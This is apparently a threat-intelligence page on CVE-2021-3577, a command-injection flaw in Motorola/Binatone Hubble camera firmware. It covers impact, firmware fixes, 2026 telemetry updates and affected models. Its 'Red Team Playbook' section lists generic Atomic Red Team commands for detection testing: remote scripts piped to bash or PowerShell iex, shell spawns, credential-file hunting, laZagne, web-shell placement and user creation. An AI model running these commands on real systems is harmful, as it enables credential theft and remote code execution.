CVE-2021-3577
Overview
This vulnerability is a remote code execution flaw resulting from improper input validation in the firmware of Motorola-branded Binatone Hubble Cameras. The root cause lies in the device's failure to authenticate and sanitize commands received over the local network, specifically affecting the command execution handling components within the camera firmware. This allows unauthorized users on the same network to inject and execute arbitrary system commands.
Vulnerability Description
An unauthenticated remote code execution vulnerability was reported in some Motorola-branded Binatone Hubble Cameras that could allow an attacker on the same network unauthorized access to the device.
Impact
An attacker positioned on the same network can execute arbitrary code on the affected devices without any authentication, leading to full compromise of the camera system. This includes the ability to manipulate device settings, intercept or disrupt video streams, or pivot to other networked assets. The attack requires no user interaction and leverages low-complexity network access (CVSS vector AV:A/AC:L/PR:N/UI:N), resulting in high confidentiality, integrity, and availability impact (C:H/I:H/A:H). This can lead to unauthorized surveillance, data exfiltration, and denial of service within the local network environment.
Solution
Motorola and Binatone have released firmware updates addressing this vulnerability for affected Hubble Camera models. Users should apply the latest firmware versions as detailed in the vendor's security advisory at https://binatoneglobal.com/security-advisory/. The advisory provides specific firmware version numbers and installation instructions. No alternative mitigations or workarounds are documented; therefore, timely firmware upgrade is the recommended remediation step.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
A significant vulnerability has been identified in several Motorola-branded Binatone Hubble Cameras, characterized by the potential for unauthenticated remote code execution. This flaw arises from improper handling of input, which allows an attacker on the same network to execute arbitrary commands on the device. The affected firmware versions across various models expose critical security weaknesses that could be exploited by malicious actors. The vulnerability's high CVSS score of 8.8 underscores its severity, indicating a substantial risk to users and their networks.
Exploitation of this vulnerability can occur through various attack vectors, primarily targeting devices connected to the same local network. An attacker could leverage tools to scan for vulnerable devices, subsequently sending crafted requests that exploit the input validation flaws. Once access is gained, the attacker could execute arbitrary code, potentially leading to unauthorized surveillance, data exfiltration, or even the manipulation of device functionalities. Scenarios could include an attacker gaining control over a camera to spy on users or using the compromised device as a launching point for further attacks within the network.
The real-world impact of this vulnerability is profound, especially considering the nature of the devices involved. Home security cameras are often deployed in sensitive environments, such as residences with children or elderly individuals. Unauthorized access could lead to severe privacy violations and a loss of trust in the security of smart home technologies. Furthermore, businesses utilizing these cameras for surveillance could face reputational damage, regulatory scrutiny, and potential legal ramifications if sensitive data is compromised. The financial implications of such breaches can be significant, encompassing costs related to incident response, legal fees, and loss of customer confidence.
To effectively detect and mitigate this vulnerability, organizations and individuals should adopt a multi-layered security approach. Regular firmware updates should be prioritized, as manufacturers often release patches to address known vulnerabilities. Network segmentation can also be employed, isolating IoT devices from critical systems to limit the potential impact of a compromised device. Additionally, implementing robust network monitoring solutions can help detect unusual traffic patterns indicative of exploitation attempts. Users should also be educated on the importance of changing default credentials and employing strong, unique passwords for their devices.
In conclusion, the unauthenticated remote code execution vulnerability in Binatone Hubble Cameras presents a significant threat to both individual users and organizations. The potential for exploitation, coupled with the sensitive nature of the devices, necessitates immediate attention to security practices. By adopting proactive measures, including timely updates, network segmentation, and user education, stakeholders can mitigate the risks associated with this vulnerability and enhance their overall cybersecurity posture.
CSURFACE threat intelligence has detected a slight increase in activity related to CVE-2021-3577, indicating a modest rise in attempts to exploit the unauthenticated remote code execution vulnerability in Motorola Binatone Hubble Cameras. While the overall exploit landscape remains unchanged with no new publicly disclosed exploit techniques or malware leveraging this flaw, the stable EPSS score at a high percentile underscores persistent interest from threat actors. This subtle uptick in telemetry suggests that adversaries continue to probe affected devices within local networks, maintaining the vulnerability’s relevance in attacker toolkits. For defenders, this development highlights the ongoing need for vigilance in monitoring network traffic and device behavior, as exploitation attempts may be opportunistic and sporadic rather than widespread. The risk level remains elevated given the vulnerability’s high severity and ease of exploitation, but the absence of a rapid increase in exploitation activity indicates that immediate threat escalation is limited at this time.
Update 2 — May 16, 2026
CSURFACE threat intelligence has identified a marked escalation in network probing activity targeting the Motorola Binatone Hubble Cameras vulnerable to CVE-2021-3577. Our telemetry indicates that adversaries are increasingly scanning local networks for susceptible devices, reflecting a sustained interest in exploiting this unauthenticated remote code execution flaw. Although no new exploit variants or proof-of-concept codes have surfaced, the persistence and growth in detection frequency underscore the vulnerability’s continued operational relevance. This trend suggests that threat actors maintain these devices as viable targets within their reconnaissance and lateral movement strategies, particularly in environments where network segmentation is weak. For defenders, this heightened probing activity signals an elevated likelihood of opportunistic exploitation attempts, reinforcing the need for ongoing monitoring despite the absence of a rapid surge in active exploitation campaigns. Consequently, while the overall threat level remains consistent with previous assessments, the increased adversary engagement elevates the urgency for vigilance in detecting anomalous device behavior and network traffic patterns associated with this vulnerability.
Update 3 — June 13, 2026
CSURFACE threat intelligence has detected a slight increase in activity related to CVE-2021-3577, reflected by a modest rise in telemetry signals indicating adversary engagement with affected Motorola Binatone Hubble Cameras. Although the EPSS score has decreased marginally, suggesting a lower predicted likelihood of exploitation, the stable trend in detection frequency underscores persistent interest from threat actors. This subtle uptick in probing activity, absent any new exploit techniques or payloads, indicates continued reconnaissance efforts rather than a full-scale exploitation campaign. For defenders, this evolving pattern highlights the necessity of maintaining vigilant monitoring of network traffic and device behavior to identify early indicators of compromise. While the overall threat level remains steady, the ongoing adversary focus on this vulnerability reinforces its relevance in environments where network segmentation is insufficient, sustaining its potential as a vector for lateral movement and unauthorized access.
Update 4 — June 20, 2026
CSURFACE threat intelligence has detected a marked escalation in reconnaissance activity targeting the Motorola Binatone Hubble Cameras vulnerability. Although the EPSS score has declined, indicating a reduced probability of widespread exploitation, our telemetry reveals increased probing efforts within affected networks. This divergence suggests adversaries may be intensifying their information-gathering phase, potentially preparing for more sophisticated or targeted attacks rather than broad exploitation campaigns. For defenders, this evolving pattern underscores the importance of sustained vigilance, as the heightened scanning activity could precede attempts to leverage the vulnerability for lateral movement or unauthorized access. While no new exploit techniques have surfaced, the persistence and growth in detection frequency maintain this vulnerability’s relevance in threat landscapes where network segmentation and device hardening are insufficient.
Update 5 — July 06, 2026
CSURFACE threat intelligence has identified a modest increase in scanning and probing activity targeting the Motorola Binatone Hubble Cameras vulnerable to CVE-2021-3577. While the overall exploit landscape remains unchanged with no new public exploits or proof-of-concept releases, this subtle rise in detection frequency suggests adversaries continue to prioritize reconnaissance efforts within affected network environments. This persistent activity indicates that threat actors may be refining their tactics or preparing for more targeted exploitation attempts rather than initiating widespread attacks at this time. For defenders, this underscores the ongoing relevance of the vulnerability and the need to maintain monitoring and network segmentation controls. Although the risk level has not escalated to a critical threshold, the steady uptick in telemetry signals sustained adversary interest, warranting continued attention to prevent potential lateral movement or unauthorized device access.
Affected Products (23)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Binatoneglobal | Halo\+ Camera Firmware | All |
cpe:2.3:o:binatoneglobal:halo\+_camera_firmware:*:*:*:*:*:*:*:*
|
|
|
Binatoneglobal | Comfort 85 Connect Firmware | All |
cpe:2.3:o:binatoneglobal:comfort_85_connect_firmware:*:*:*:*:*:*:*:*
|
|
|
Binatoneglobal | Mbp3855 Firmware | All |
cpe:2.3:o:binatoneglobal:mbp3855_firmware:*:*:*:*:*:*:*:*
|
|
|
Binatoneglobal | Focus 68 Firmware | N/A |
cpe:2.3:o:binatoneglobal:focus_68_firmware:-:*:*:*:*:*:*:*
|
|
|
Binatoneglobal | Focus 68 Firmware | N/A |
cpe:2.3:o:binatoneglobal:focus_68_firmware:-:*:*:*:*:*:*:*
|
|
|
Binatoneglobal | Focus 72r Firmware | All |
cpe:2.3:o:binatoneglobal:focus_72r_firmware:*:*:*:*:*:*:*:*
|
|
|
Binatoneglobal | Focus 72r Firmware | All |
cpe:2.3:o:binatoneglobal:focus_72r_firmware:*:*:*:*:*:*:*:*
|
|
|
Binatoneglobal | Cn28 Firmware | N/A |
cpe:2.3:o:binatoneglobal:cn28_firmware:-:*:*:*:*:*:*:*
|
|
|
Binatoneglobal | Cn50 Firmware | N/A |
cpe:2.3:o:binatoneglobal:cn50_firmware:-:*:*:*:*:*:*:*
|
|
|
Binatoneglobal | Comfort 40 Firmware | N/A |
cpe:2.3:o:binatoneglobal:comfort_40_firmware:-:*:*:*:*:*:*:*
|
|
|
Binatoneglobal | Comfort 50 Connect Firmware | N/A |
cpe:2.3:o:binatoneglobal:comfort_50_connect_firmware:-:*:*:*:*:*:*:*
|
|
|
Binatoneglobal | Mbp4855 Firmware | N/A |
cpe:2.3:o:binatoneglobal:mbp4855_firmware:-:*:*:*:*:*:*:*
|
|
|
Binatoneglobal | Mbp3667 Firmware | N/A |
cpe:2.3:o:binatoneglobal:mbp3667_firmware:-:*:*:*:*:*:*:*
|
|
|
Binatoneglobal | Mbp669 Connect Firmware | N/A |
cpe:2.3:o:binatoneglobal:mbp669_connect_firmware:-:*:*:*:*:*:*:*
|
|
|
Binatoneglobal | Lux 64 Firmware | N/A |
cpe:2.3:o:binatoneglobal:lux_64_firmware:-:*:*:*:*:*:*:*
|
|
|
Binatoneglobal | Lux 65 Firmware | N/A |
cpe:2.3:o:binatoneglobal:lux_65_firmware:-:*:*:*:*:*:*:*
|
|
|
Binatoneglobal | Connect View 65 Firmware | N/A |
cpe:2.3:o:binatoneglobal:connect_view_65_firmware:-:*:*:*:*:*:*:*
|
|
|
Binatoneglobal | Lux 85 Connect Firmware | N/A |
cpe:2.3:o:binatoneglobal:lux_85_connect_firmware:-:*:*:*:*:*:*:*
|
|
|
Binatoneglobal | Ease44 Firmware | N/A |
cpe:2.3:o:binatoneglobal:ease44_firmware:-:*:*:*:*:*:*:*
|
|
|
Binatoneglobal | Connect 20 Firmware | N/A |
cpe:2.3:o:binatoneglobal:connect_20_firmware:-:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
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Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-6 | Argument Injection |
40%
|
High | High | |
| CAPEC-88 | OS Command Injection |
40%
|
High | High | |
| CAPEC-43 | Exploiting Multiple Input Interpretation Layers |
40%
|
Medium | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2021-3577 |
| binatoneglobal.com |
GitHub CVE
x_refsource_MISC
|
https://binatoneglobal.com/security-advisory/ |